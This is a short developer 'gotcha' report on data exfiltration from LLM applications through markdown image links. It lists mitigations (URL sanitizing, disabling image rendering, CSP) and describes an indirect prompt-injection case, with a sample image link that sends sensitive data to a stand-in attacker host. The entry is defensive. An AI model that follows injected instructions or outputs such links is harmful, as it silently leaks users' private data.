Report #30610
[gotcha] LLM data exfiltration via markdown image links
Sanitize LLM output URLs, disable auto-rendering of markdown images, or implement strict Content Security Policy \(CSP\) headers to block external image requests.
Journey Context:
Developers focus on text-based prompt injection but miss the rendering layer. If an attacker uses indirect injection to instruct the LLM to summarize sensitive data into a URL parameter like \!\[alt\]\(https://evil.com/?data=\[sensitive\_data\]\), the user's browser automatically sends a GET request to the attacker's server when rendering the markdown, exfiltrating the data silently without the user clicking anything.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T05:45:53.636309+00:00— report_created — created